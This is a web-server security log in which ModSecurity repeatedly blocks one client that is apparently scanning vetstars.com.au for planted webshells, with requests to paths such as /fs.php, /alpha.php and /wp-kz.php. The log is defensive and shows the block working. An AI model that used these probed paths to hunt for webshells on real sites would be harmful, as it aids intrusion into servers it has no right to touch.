[Sat May 23 15:35:35.971042 2026] [:error] [pid 30941:tid 30996] [client 132.196.65.22:7599] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ahFYx3TIgjSDhiZmvlWQZAAAAFQ"]
[Sat May 23 15:35:36.397232 2026] [:error] [pid 30941:tid 30981] [client 132.196.65.22:7657] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ahFYyHTIgjSDhiZmvlWQaAAAAEU"]
[Sat May 23 15:35:36.823285 2026] [:error] [pid 30940:tid 30966] [client 132.196.65.22:7721] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ahFYyJqUP2XZmzp7RDrh2gAAABE"]
[Sat May 23 15:35:37.208308 2026] [:error] [pid 25876:tid 25883] [client 132.196.65.22:7723] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ahFYyQSpWUCKPezIBJBkkgAAAQU"]
[Sat May 23 15:35:37.619405 2026] [:error] [pid 31039:tid 31062] [client 132.196.65.22:7585] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ahFYyaIYDYo8WvA5zLILPwAAANU"]
[Sat May 23 15:35:37.998902 2026] [:error] [pid 30941:tid 30999] [client 132.196.65.22:7580] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ahFYyXTIgjSDhiZmvlWQawAAAFc"]
[Sat May 23 15:35:38.381750 2026] [:error] [pid 30942:tid 31025] [client 132.196.65.22:7977] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ahFYytUosz64YFiBlG1CvQAAAJY"]
[Sat May 23 15:35:38.777323 2026] [:error] [pid 30942:tid 31005] [client 132.196.65.22:7705] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ahFYytUosz64YFiBlG1CvgAAAII"]
[Sat May 23 15:35:39.150680 2026] [:error] [pid 30942:tid 31016] [client 132.196.65.22:7625] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ahFYy9Uosz64YFiBlG1CvwAAAI0"]
[Sat May 23 15:35:39.526276 2026] [:error] [pid 30941:tid 30992] [client 132.196.65.22:7507] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ahFYy3TIgjSDhiZmvlWQbQAAAFA"]
[Sat May 23 15:35:39.922511 2026] [:error] [pid 31039:tid 31065] [client 132.196.65.22:7703] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ahFYy6IYDYo8WvA5zLILTwAAANg"]
[Sat May 23 15:35:40.308779 2026] [:error] [pid 31039:tid 31047] [client 132.196.65.22:7690] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ahFYzKIYDYo8WvA5zLILUAAAAMY"]
[Sat May 23 15:35:40.725807 2026] [:error] [pid 31039:tid 31042] [client 132.196.65.22:7630] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ahFYzKIYDYo8WvA5zLILUQAAAME"]
[Sat May 23 15:35:41.132414 2026] [:error] [pid 30942:tid 31006] [client 132.196.65.22:7653] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ahFYzdUosz64YFiBlG1CxAAAAIM"]
[Sat May 23 15:35:41.559279 2026] [:error] [pid 25876:tid 25896] [client 132.196.65.22:7568] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ahFYzQSpWUCKPezIBJBk0QAAARI"]
[Sat May 23 15:35:41.982155 2026] [:error] [pid 30941:tid 30993] [client 132.196.65.22:7654] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ahFYzXTIgjSDhiZmvlWQdQAAAFE"]
[Sat May 23 15:35:42.376165 2026] [:error] [pid 30942:tid 31005] [client 132.196.65.22:7569] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ahFYztUosz64YFiBlG1C0wAAAII"]
[Sat May 23 15:35:42.827878 2026] [:error] [pid 30942:tid 31022] [client 132.196.65.22:7655] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "ahFYztUosz64YFiBlG1C1AAAAJM"]
[Sat May 23 15:35:43.203935 2026] [:error] [pid 30941:tid 30977] [client 132.196.65.22:7667] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "ahFYz3TIgjSDhiZmvlWQegAAAEE"]
[Sat May 23 15:35:43.599844 2026] [:error] [pid 30942:tid 31010] [client 132.196.65.22:7561] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "ahFYz9Uosz64YFiBlG1C2gAAAIc"]
[Sat May 23 15:35:43.987442 2026] [:error] [pid 30942:tid 31015] [client 132.196.65.22:7743] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "ahFYz9Uosz64YFiBlG1C3QAAAIw"]
[Sat May 23 15:35:44.413931 2026] [:error] [pid 25876:tid 25880] [client 132.196.65.22:7592] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ahFY0ASpWUCKPezIBJBk0gAAAQI"]
[Sat May 23 15:35:44.819060 2026] [:error] [pid 30942:tid 31025] [client 132.196.65.22:7640] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ahFY0NUosz64YFiBlG1C5AAAAJY"]
[Sat May 23 15:35:45.195041 2026] [:error] [pid 30940:tid 30967] [client 132.196.65.22:7509] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ahFY0ZqUP2XZmzp7RDrh7AAAABI"]
[Sat May 23 15:35:45.593642 2026] [:error] [pid 25876:tid 25895] [client 132.196.65.22:7980] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ahFY0QSpWUCKPezIBJBk1QAAARE"]
[Sat May 23 15:35:45.974594 2026] [:error] [pid 31039:tid 31044] [client 132.196.65.22:7631] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ahFY0aIYDYo8WvA5zLILZgAAAMM"]
[Sat May 23 15:35:46.361237 2026] [:error] [pid 25876:tid 25887] [client 132.196.65.22:7672] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ahFY0gSpWUCKPezIBJBk1wAAAQk"]
[Sat May 23 15:35:46.766724 2026] [:error] [pid 30940:tid 30963] [client 132.196.65.22:7701] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ahFY0pqUP2XZmzp7RDrh8QAAAA4"]
[Sat May 23 15:35:47.165025 2026] [:error] [pid 30941:tid 30999] [client 132.196.65.22:7939] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ahFY03TIgjSDhiZmvlWQewAAAFc"]
[Sat May 23 15:35:47.567970 2026] [:error] [pid 30940:tid 30973] [client 132.196.65.22:7553] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bob.php"] [unique_id "ahFY05qUP2XZmzp7RDrh8gAAABg"]
[Sat May 23 15:35:47.977986 2026] [:error] [pid 31039:tid 31046] [client 132.196.65.22:7559] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bob.php"] [unique_id "ahFY06IYDYo8WvA5zLILaAAAAMU"]
[Sat May 23 15:35:48.357409 2026] [:error] [pid 30940:tid 30949] [client 132.196.65.22:7512] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bob.php"] [unique_id "ahFY1JqUP2XZmzp7RDrh9AAAAAA"]
[Sat May 23 15:35:48.738953 2026] [:error] [pid 30942:tid 31003] [client 132.196.65.22:7570] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bob.php"] [unique_id "ahFY1NUosz64YFiBlG1C8AAAAIA"]
[Sat May 23 15:35:49.113147 2026] [:error] [pid 31039:tid 31041] [client 132.196.65.22:7498] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ahFY1aIYDYo8WvA5zLILaQAAAMA"]
[Sat May 23 15:35:49.506879 2026] [:error] [pid 30940:tid 30964] [client 132.196.65.22:7706] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ahFY1ZqUP2XZmzp7RDrh-wAAAA8"]
[Sat May 23 15:35:49.906575 2026] [:error] [pid 30940:tid 30955] [client 132.196.65.22:7575] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ahFY1ZqUP2XZmzp7RDrh_QAAAAY"]
[Sat May 23 15:35:50.315868 2026] [:error] [pid 30940:tid 30952] [client 132.196.65.22:7660] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ahFY1pqUP2XZmzp7RDrh_wAAAAM"]
[Sat May 23 15:35:50.727139 2026] [:error] [pid 30941:tid 30982] [client 132.196.65.22:7563] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ahFY1nTIgjSDhiZmvlWQfwAAAEY"]
[Sat May 23 15:35:51.143598 2026] [:error] [pid 30941:tid 30986] [client 132.196.65.22:7558] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ahFY13TIgjSDhiZmvlWQgQAAAEo"]
[Sat May 23 15:35:51.543525 2026] [:error] [pid 30942:tid 31023] [client 132.196.65.22:7662] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ahFY19Uosz64YFiBlG1C8gAAAJQ"]
[Sat May 23 15:35:51.956450 2026] [:error] [pid 30942:tid 31020] [client 132.196.65.22:7608] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ahFY19Uosz64YFiBlG1C8wAAAJE"]
[Sat May 23 15:35:52.356506 2026] [:error] [pid 30941:tid 30995] [client 132.196.65.22:7662] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ahFY2HTIgjSDhiZmvlWQgwAAAFM"]
[Sat May 23 15:35:52.733599 2026] [:error] [pid 30942:tid 31024] [client 132.196.65.22:7707] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ahFY2NUosz64YFiBlG1C9AAAAJU"]
[Sat May 23 15:35:53.115300 2026] [:error] [pid 30941:tid 30996] [client 132.196.65.22:7635] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ahFY2XTIgjSDhiZmvlWQhwAAAFQ"]
[Sat May 23 15:35:53.510673 2026] [:error] [pid 31039:tid 31044] [client 132.196.65.22:7613] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ahFY2aIYDYo8WvA5zLILdQAAAMM"]
[Sat May 23 15:35:53.908694 2026] [:error] [pid 25876:tid 25900] [client 132.196.65.22:7504] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "ahFY2QSpWUCKPezIBJBk6wAAARY"]
[Sat May 23 15:35:54.284519 2026] [:error] [pid 31039:tid 31048] [client 132.196.65.22:7491] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "ahFY2qIYDYo8WvA5zLILdwAAAMc"]
[Sat May 23 15:35:54.686783 2026] [:error] [pid 25876:tid 25891] [client 132.196.65.22:7628] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "ahFY2gSpWUCKPezIBJBk8AAAAQ0"]
[Sat May 23 15:35:55.061596 2026] [:error] [pid 31039:tid 31059] [client 132.196.65.22:7716] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "ahFY26IYDYo8WvA5zLILegAAANI"]
[Sat May 23 15:35:55.464928 2026] [:error] [pid 30941:tid 30997] [client 132.196.65.22:7562] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "ahFY23TIgjSDhiZmvlWQjAAAAFU"]
[Sat May 23 15:35:55.916483 2026] [:error] [pid 25876:tid 25880] [client 132.196.65.22:7524] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "ahFY2wSpWUCKPezIBJBk8wAAAQI"]
[Sat May 23 15:35:56.333966 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7732] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "ahFY3ASpWUCKPezIBJBk9QAAAQA"]
[Sat May 23 15:35:56.712299 2026] [:error] [pid 30942:tid 31019] [client 132.196.65.22:7555] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "ahFY3NUosz64YFiBlG1C9wAAAJA"]
[Sat May 23 15:35:57.120374 2026] [:error] [pid 31039:tid 31045] [client 132.196.65.22:7678] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ahFY3aIYDYo8WvA5zLILewAAAMQ"]
[Sat May 23 15:35:57.509604 2026] [:error] [pid 31039:tid 31042] [client 132.196.65.22:7649] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ahFY3aIYDYo8WvA5zLILfQAAAME"]
[Sat May 23 15:35:57.899200 2026] [:error] [pid 30941:tid 30978] [client 132.196.65.22:7634] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ahFY3XTIgjSDhiZmvlWQjQAAAEI"]
[Sat May 23 15:35:58.288148 2026] [:error] [pid 30942:tid 31027] [client 132.196.65.22:7576] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ahFY3tUosz64YFiBlG1C-gAAAJg"]
